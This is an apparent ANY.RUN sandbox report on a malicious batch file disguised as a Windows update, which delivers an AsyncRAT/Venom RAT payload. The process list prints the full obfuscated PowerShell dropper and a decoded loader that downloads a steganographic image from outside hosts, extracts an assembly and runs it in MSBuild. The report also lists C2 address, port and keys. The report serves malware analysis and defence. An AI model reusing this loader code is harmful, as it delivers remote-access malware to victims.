File name:

WindowsUpdate.bat

Full analysis: https://app.any.run/tasks/f602ba72-a99d-47fe-bfa1-ccbbc7159a38
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: May 27, 2025, 12:41:11
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
stegocampaign
payload
ta558
apt
loader
reverseloader
susp-powershell
asyncrat
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, Non-ISO extended-ASCII text, with CRLF, NEL line terminators
MD5:

CF0445076DD7CE2F82E77DF4AAF90FF2

SHA1:

A7232B5D211A9B026CBE1BC09109C33E3FEE9DB7

SHA256:

4455DED5290611948E96F95172B5C8FF64227007824937AF3CFEEB9DCA003F19

SSDEEP:

192:6O5+3ijHfANX9P4JxOFfX9YF7l4u1hGxi6Yi/lPzBRNs/XMCx+lecap:64/jfANXWJxEKzwgdiZrrPW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • STEGOCAMPAIGN has been detected

      • powershell.exe (PID: 5324)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 5324)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 5324)

    • ASYNCRAT has been detected (YARA)

      • MSBuild.exe (PID: 1020)

  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1328)
      • powershell.exe (PID: 5324)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7036)
      • powershell.exe (PID: 1328)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 7036)

    • Get information on the list of running processes

      • powershell.exe (PID: 1328)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 5324)

    • Probably download files using WebClient

      • powershell.exe (PID: 1328)

    • Application launched itself

      • powershell.exe (PID: 1328)

    • Connects to unusual port

      • MSBuild.exe (PID: 1020)

  • INFO

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 1328)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 1328)

    • Create files in a temporary directory

      • powershell.exe (PID: 5324)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5324)

    • Reads the software policy settings

      • powershell.exe (PID: 5324)
      • slui.exe (PID: 2516)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 1328)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 5324)

    • Disables trace logs

      • powershell.exe (PID: 5324)

    • Checks proxy server information

      • powershell.exe (PID: 5324)
      • slui.exe (PID: 2516)

    • Found Base64 encoded access to processes via PowerShell (YARA)

      • powershell.exe (PID: 1328)

    • Creates files or folders in the user directory

      • MSBuild.exe (PID: 1020)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 1328)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 1328)

    • Reads the computer name

      • MSBuild.exe (PID: 1020)

    • Found Base64 encoded network access via PowerShell (YARA)

      • powershell.exe (PID: 1328)

    • Checks supported languages

      • MSBuild.exe (PID: 1020)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 1020)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

AsyncRat

(PID) Process(1020) MSBuild.exe
C2 (1)178.128.97.207
Ports (1)4449
VersionVenom RAT + HVNC + Stealer + Grabber v6.0.3
Options
AutoRunfalse
Mutexbgwobqutaklnu
InstallFolder%AppData%
Certificates
Cert1MIICOTCCAaKgAwIBAgIVALemyXxFDDzwBqfr7q0BXsYGGF2jMA0GCSqGSIb3DQEBDQUAMGoxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEfMB0GA1UECgwWVmVub21SQVQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIzMDczMDA2MjUxOVoXDTM0MDUwODA2MjUxOVowEzERMA8GA1UEAwwIVmVub21SQVQwgZ8wDQYJKoZIhvcN...
Server_SignatureYMx+//RnqH41JtuPjbHwBG4IZAU4DYp7xFd0FYq1hKQBBrJ4/N2dtmqUm4gtUynVLiT8E6N/s090cs1w0idqayZkplJR9pdsF/nehOcZ9eO+AISxznMjOtS6hgSs+fVwv9O4fa2DoBtmNc1+8LtxQz5TEs//tVXBxywPYweMc0o=
Keys
AES7c1095d516a69a674ae664d84b087de0e524885ea43aff636218c3353cd0ba44
SaltVenomRATByVenom
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
135
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe no specs #STEGOCAMPAIGN powershell.exe svchost.exe #ASYNCRAT msbuild.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
1020"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
AsyncRat
(PID) Process(1020) MSBuild.exe
C2 (1)178.128.97.207
Ports (1)4449
VersionVenom RAT + HVNC + Stealer + Grabber v6.0.3
Options
AutoRunfalse
Mutexbgwobqutaklnu
InstallFolder%AppData%
Certificates
Cert1MIICOTCCAaKgAwIBAgIVALemyXxFDDzwBqfr7q0BXsYGGF2jMA0GCSqGSIb3DQEBDQUAMGoxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEfMB0GA1UECgwWVmVub21SQVQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIzMDczMDA2MjUxOVoXDTM0MDUwODA2MjUxOVowEzERMA8GA1UEAwwIVmVub21SQVQwgZ8wDQYJKoZIhvcN...
Server_SignatureYMx+//RnqH41JtuPjbHwBG4IZAU4DYp7xFd0FYq1hKQBBrJ4/N2dtmqUm4gtUynVLiT8E6N/s090cs1w0idqayZkplJR9pdsF/nehOcZ9eO+AISxznMjOtS6hgSs+fVwv9O4fa2DoBtmNc1+8LtxQz5TEs//tVXBxywPYweMc0o=
Keys
AES7c1095d516a69a674ae664d84b087de0e524885ea43aff636218c3353cd0ba44
SaltVenomRATByVenom
1328powershell "$ddsdgo = 'Id@d@gd@Cd@d@WwBOd@GUd@dd@d@ud@FMd@ZQByd@HYd@aQBjd@GUd@Ud@Bvd@Gkd@bgB0d@E0d@YQBud@GEd@ZwBld@HId@XQd@6d@Dod@UwBld@GMd@dQByd@Gkd@dd@B5d@Fd@d@cgBvd@HQd@bwBjd@G8d@bd@d@gd@D0d@Id@Bbd@E4d@ZQB0d@C4d@UwBld@GMd@dQByd@Gkd@dd@B5d@Fd@d@cgBvd@HQd@bwBjd@G8d@bd@BUd@Hkd@cd@Bld@F0d@Ogd@6d@FQd@bd@Bzd@DEd@Mgd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@Bmd@HUd@bgBjd@HQd@aQBvd@G4d@Id@BEd@G8d@dwBud@Gwd@bwBhd@GQd@Rd@Bhd@HQd@YQBGd@HId@bwBtd@Ewd@aQBud@Gsd@cwd@gd@Hsd@Id@Bwd@GEd@cgBhd@G0d@Id@d@od@Fsd@cwB0d@HId@aQBud@Gcd@WwBdd@F0d@Jd@Bsd@Gkd@bgBrd@HMd@KQd@gd@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@CQd@dwBld@GId@QwBsd@Gkd@ZQBud@HQd@Id@d@9d@Cd@d@TgBld@Hcd@LQBPd@GId@agBld@GMd@dd@d@gd@FMd@eQBzd@HQd@ZQBtd@C4d@TgBld@HQd@LgBXd@GUd@YgBDd@Gwd@aQBld@G4d@dd@d@7d@Cd@d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bzd@Ggd@dQBmd@GYd@bd@Bld@GQd@Td@Bpd@G4d@awBzd@Cd@d@PQd@gd@Ecd@ZQB0d@C0d@UgBhd@G4d@Zd@Bvd@G0d@Id@d@td@Ekd@bgBwd@HUd@dd@BPd@GId@agBld@GMd@dd@d@gd@CQd@bd@Bpd@G4d@awBzd@Cd@d@LQBDd@G8d@dQBud@HQd@Id@d@kd@Gwd@aQBud@Gsd@cwd@ud@Ewd@ZQBud@Gcd@dd@Bod@Dsd@Id@d@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@Bmd@G8d@cgBld@GEd@YwBod@Cd@d@Kd@d@kd@Gwd@aQBud@Gsd@Id@Bpd@G4d@Id@d@kd@HMd@ad@B1d@GYd@ZgBsd@GUd@Zd@BMd@Gkd@bgBrd@HMd@KQd@gd@Hsd@Id@B0d@HId@eQd@gd@Hsd@Id@Byd@GUd@dd@B1d@HId@bgd@gd@CQd@dwBld@GId@QwBsd@Gkd@ZQBud@HQd@LgBEd@G8d@dwBud@Gwd@bwBhd@GQd@Rd@Bhd@HQd@YQd@od@CQd@bd@Bpd@G4d@awd@pd@Cd@d@fQd@gd@GMd@YQB0d@GMd@ad@d@gd@Hsd@Id@Bjd@G8d@bgB0d@Gkd@bgB1d@GUd@Id@B9d@Cd@d@fQd@7d@Cd@d@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@cgBld@HQd@dQByd@G4d@Id@d@kd@G4d@dQBsd@Gwd@Id@B9d@Dsd@Id@d@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@EId@eQB0d@GUd@cwd@gd@D0d@Id@d@nd@Ggd@dd@B0d@Ccd@Owd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@EId@eQB0d@GUd@cwd@yd@Cd@d@PQd@gd@Ccd@cd@Bzd@Dod@Lwd@vd@Ccd@Owd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@Gwd@ZgBzd@GQd@ZgBzd@GQd@Zwd@gd@D0d@Id@d@gd@CQd@QgB5d@HQd@ZQBzd@Cd@d@Kwd@kd@EId@eQB0d@GUd@cwd@yd@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bsd@Gkd@bgBrd@HMd@Id@d@9d@Cd@d@Qd@d@od@Cgd@Jd@Bsd@GYd@cwBkd@GYd@cwBkd@Gcd@Id@d@rd@Cd@d@JwBid@Gkd@dd@Bid@HUd@YwBrd@GUd@dd@d@ud@G8d@cgBnd@C8d@YwB6d@Hgd@ed@B4d@Hgd@ed@B4d@Hod@ed@B2d@C8d@ZwBkd@GYd@Zwd@vd@GQd@bwB3d@G4d@bd@Bvd@GEd@Zd@Bzd@C8d@cd@Bpd@GMd@LgBqd@Hd@d@Zwd@/d@DEd@Nd@d@yd@DMd@Nd@d@0d@Ccd@KQd@sd@Cd@d@Kd@d@kd@Gwd@ZgBzd@GQd@ZgBzd@GQd@Zwd@gd@Csd@Id@d@nd@G8d@ZgBpd@GMd@ZQd@zd@DYd@NQd@ud@Gcd@aQB0d@Ggd@dQBid@C4d@aQBvd@C8d@MQd@vd@HQd@ZQBzd@HQd@LgBqd@Hd@d@Zwd@nd@Ckd@KQd@7d@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bpd@G0d@YQBnd@GUd@QgB5d@HQd@ZQBzd@Cd@d@PQd@gd@EQd@bwB3d@G4d@bd@Bvd@GEd@Zd@BEd@GEd@dd@Bhd@EYd@cgBvd@G0d@Td@Bpd@G4d@awBzd@Cd@d@Jd@Bsd@Gkd@bgBrd@HMd@Owd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Gkd@Zgd@gd@Cgd@Jd@Bpd@G0d@YQBnd@GUd@QgB5d@HQd@ZQBzd@Cd@d@LQBud@GUd@Id@d@kd@G4d@dQBsd@Gwd@KQd@gd@Hsd@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@Cd@d@PQd@gd@Fsd@UwB5d@HMd@dd@Bld@G0d@LgBUd@GUd@ed@B0d@C4d@RQBud@GMd@bwBkd@Gkd@bgBnd@F0d@Ogd@6d@FUd@Vd@BGd@Dgd@LgBHd@GUd@dd@BTd@HQd@cgBpd@G4d@Zwd@od@CQd@aQBtd@GEd@ZwBld@EId@eQB0d@GUd@cwd@pd@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@HMd@dd@Bhd@HId@dd@BGd@Gwd@YQBnd@Cd@d@PQd@gd@Ccd@Pd@d@8d@EId@QQBTd@EUd@Ngd@0d@F8d@UwBUd@EEd@UgBUd@D4d@Pgd@nd@Dsd@Id@d@kd@GUd@bgBkd@EYd@bd@Bhd@Gcd@Id@d@9d@Cd@d@Jwd@8d@Dwd@QgBBd@FMd@RQd@2d@DQd@XwBFd@E4d@Rd@d@+d@D4d@Jwd@7d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Cd@d@PQd@gd@CQd@aQBtd@GEd@ZwBld@FQd@ZQB4d@HQd@LgBJd@G4d@Zd@Bld@Hgd@TwBmd@Cgd@Jd@Bzd@HQd@YQByd@HQd@RgBsd@GEd@Zwd@pd@Dsd@Id@d@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@ZQBud@GQd@RgBsd@GEd@Zwd@pd@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@Bpd@GYd@Id@d@od@CQd@cwB0d@GEd@cgB0d@Ekd@bgBkd@GUd@ed@d@gd@C0d@ZwBld@Cd@d@Md@d@gd@C0d@YQBud@GQd@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@C0d@ZwB0d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Ckd@Id@B7d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Cd@d@Kwd@9d@Cd@d@Jd@Bzd@HQd@YQByd@HQd@RgBsd@GEd@Zwd@ud@Ewd@ZQBud@Gcd@dd@Bod@Dsd@Id@d@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GId@YQBzd@GUd@Ngd@0d@Ewd@ZQBud@Gcd@dd@Bod@Ggd@Id@d@9d@Cd@d@Jd@Bld@G4d@Zd@BJd@G4d@Zd@Bld@Hgd@Id@d@td@Cd@d@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GId@YQBzd@GUd@Ngd@0d@EMd@bwBtd@G0d@YQBud@GQd@Id@d@9d@Cd@d@Jd@Bpd@G0d@YQBnd@GUd@Vd@Bld@Hgd@dd@d@ud@FMd@dQBid@HMd@dd@Byd@Gkd@bgBnd@Cgd@Jd@Bzd@HQd@YQByd@HQd@SQBud@GQd@ZQB4d@Cwd@Id@d@kd@GId@YQBzd@GUd@Ngd@0d@Ewd@ZQBud@Gcd@dd@Bod@Ggd@KQd@7d@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@ZQBud@GQd@RgBsd@GEd@Zwd@pd@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@GMd@bwBtd@G0d@YQBud@GQd@QgB5d@HQd@ZQBzd@Cd@d@PQd@gd@Fsd@UwB5d@HMd@dd@Bld@G0d@LgBDd@G8d@bgB2d@GUd@cgB0d@F0d@Ogd@6d@EYd@cgBvd@G0d@QgBhd@HMd@ZQd@2d@DQd@UwB0d@HId@aQBud@Gcd@Kd@d@kd@GId@YQBzd@GUd@Ngd@0d@EMd@bwBtd@G0d@YQBud@GQd@KQd@7d@Cd@d@Id@d@gd@CQd@ZQBud@GQd@SQBud@GQd@ZQB4d@Cd@d@PQd@gd@CQd@aQBtd@GEd@ZwBld@FQd@ZQB4d@HQd@LgBJd@G4d@Zd@Bld@Hgd@TwBmd@Cgd@Jd@Bld@G4d@Zd@BGd@Gwd@YQBnd@Ckd@Owd@gd@Cd@d@Id@d@kd@GUd@bgBkd@Ekd@bgBkd@GUd@ed@d@gd@D0d@Id@d@kd@Gkd@bQBhd@Gcd@ZQBUd@GUd@ed@B0d@C4d@SQBud@GQd@ZQB4d@E8d@Zgd@od@CQd@ZQBud@GQd@RgBsd@GEd@Zwd@pd@Dsd@Cgd@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Jd@Bsd@G8d@YQBkd@GUd@Zd@BBd@HMd@cwBld@G0d@YgBsd@Hkd@Id@d@9d@Cd@d@WwBTd@Hkd@cwB0d@GUd@bQd@ud@FId@ZQBmd@Gwd@ZQBjd@HQd@aQBvd@G4d@LgBBd@HMd@cwBld@G0d@YgBsd@Hkd@XQd@6d@Dod@Td@Bvd@GEd@Zd@d@od@CQd@YwBvd@G0d@bQBhd@G4d@Zd@BCd@Hkd@dd@Bld@HMd@KQd@7d@d@od@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@BHd@GUd@dd@d@td@Fd@d@cgBvd@GMd@ZQBzd@HMd@Id@B8d@Cd@d@UwBvd@HId@dd@d@td@E8d@YgBqd@GUd@YwB0d@Cd@d@QwBQd@FUd@Id@d@td@EQd@ZQBzd@GMd@ZQBud@GQd@aQBud@Gcd@Id@B8d@Cd@d@UwBld@Gwd@ZQBjd@HQd@LQBPd@GId@agBld@GMd@dd@d@gd@C0d@RgBpd@HId@cwB0d@Cd@d@NQd@gd@Hwd@Id@BGd@G8d@cgBtd@GEd@dd@d@td@FQd@YQBid@Gwd@ZQd@gd@E4d@YQBtd@GUd@Ld@BDd@Fd@d@VQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@HQd@eQBwd@GUd@Id@d@9d@Cd@d@Jd@Bsd@G8d@YQBkd@GUd@Zd@BBd@HMd@cwBld@G0d@YgBsd@Hkd@LgBHd@GUd@dd@BUd@Hkd@cd@Bld@Cgd@JwB0d@GUd@cwB0d@Hd@d@bwB3d@GUd@cgBzd@Ggd@ZQBsd@Gwd@LgBId@G8d@YQBhd@GEd@YQBhd@GEd@cwBkd@G0d@ZQd@nd@Ckd@Owd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@BHd@GUd@dd@d@td@Fd@d@cgBvd@GMd@ZQBzd@HMd@Id@B8d@Cd@d@UwBvd@HId@dd@d@td@E8d@YgBqd@GUd@YwB0d@Cd@d@QwBQd@FUd@Id@d@td@EQd@ZQBzd@GMd@ZQBud@GQd@aQBud@Gcd@Id@B8d@Cd@d@UwBld@Gwd@ZQBjd@HQd@LQBPd@GId@agBld@GMd@dd@d@gd@C0d@RgBpd@HId@cwB0d@Cd@d@NQd@gd@Hwd@Id@BGd@G8d@cgBtd@GEd@dd@d@td@FQd@YQBid@Gwd@ZQd@gd@E4d@YQBtd@GUd@Ld@BDd@Fd@d@VQd@Kd@Cd@d@Id@d@gd@Cd@d@Id@d@gd@Cd@d@Id@d@kd@G0d@ZQB0d@Ggd@bwBkd@Cd@d@PQd@gd@CQd@dd@B5d@Hd@d@ZQd@ud@Ecd@ZQB0d@E0d@ZQB0d@Ggd@bwBkd@Cgd@JwBsd@GYd@cwBnd@GUd@Zd@Bkd@GQd@Zd@Bkd@GQd@Zd@Bhd@Ccd@KQd@ud@Ekd@bgB2d@G8d@awBld@Cgd@Jd@Bud@HUd@bd@Bsd@Cwd@Id@Bbd@G8d@YgBqd@GUd@YwB0d@Fsd@XQBdd@Cd@d@Kd@d@nd@HQd@ed@B0d@C4d@MQd@0d@Dd@d@MgBfd@DEd@Ngd@zd@Dcd@MQd@zd@Dgd@Nd@d@3d@DEd@XwBkd@GEd@bwBsd@Hkd@YQBwd@C8d@bgBpd@GEd@bQd@vd@Hcd@YQByd@C8d@dd@Byd@G4d@ZQBtd@HUd@bgd@vd@Gcd@bwBid@G0d@YQBzd@C8d@ZwByd@G8d@LgB0d@GUd@awBjd@HUd@YgB0d@Gkd@Ygd@vd@C8d@OgBzd@Ccd@Ld@d@gd@Ccd@MQd@nd@Cwd@Id@d@nd@Fcd@aQBud@GQd@bwB3d@HMd@VQBwd@GQd@YQB0d@GUd@Jwd@sd@Cd@d@JwBNd@HMd@QgB1d@Gkd@bd@Bkd@Ccd@Ld@d@gd@Ccd@Md@d@nd@Ckd@KQB9d@H0d@Owd@Kd@d@==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('d@','A')));powershell.exe $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2516C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5324"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" " [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/czxxxxxxzxv/gdfg/downloads/pic.jpg?142344'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.1402_1637138471_daolyap/niam/war/trnemun/gobmas/gro.tekcubtib//:s', '1', 'WindowsUpdate', 'MsBuild', '0'))}}; "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5972\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7036C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\WindowsUpdate.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
Total events
12 746
Read events
12 746
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dn1mbet0.jw4.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ukbuindo.ycs.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5324powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_w3wofngb.bnw.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5324powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3eki2l11.hht.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1020MSBuild.exeC:\Users\admin\AppData\Roaming\MyData\DataLogs.conftext
MD5:CF759E4C5F14FE3EEC41B87ED756CEA8
SHA256:C9F9F193409217F73CC976AD078C6F8BF65D3AABCF5FAD3E5A47536D47AA6761
5324powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:2FD5ED8CBBFFB531B193ED53099F986A
SHA256:237B7462DCA963B7B09DF2A0E6629AB87FB8A5A3FD741C3C9E9DFCAE24E2E10E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
21
TCP/UDP connections
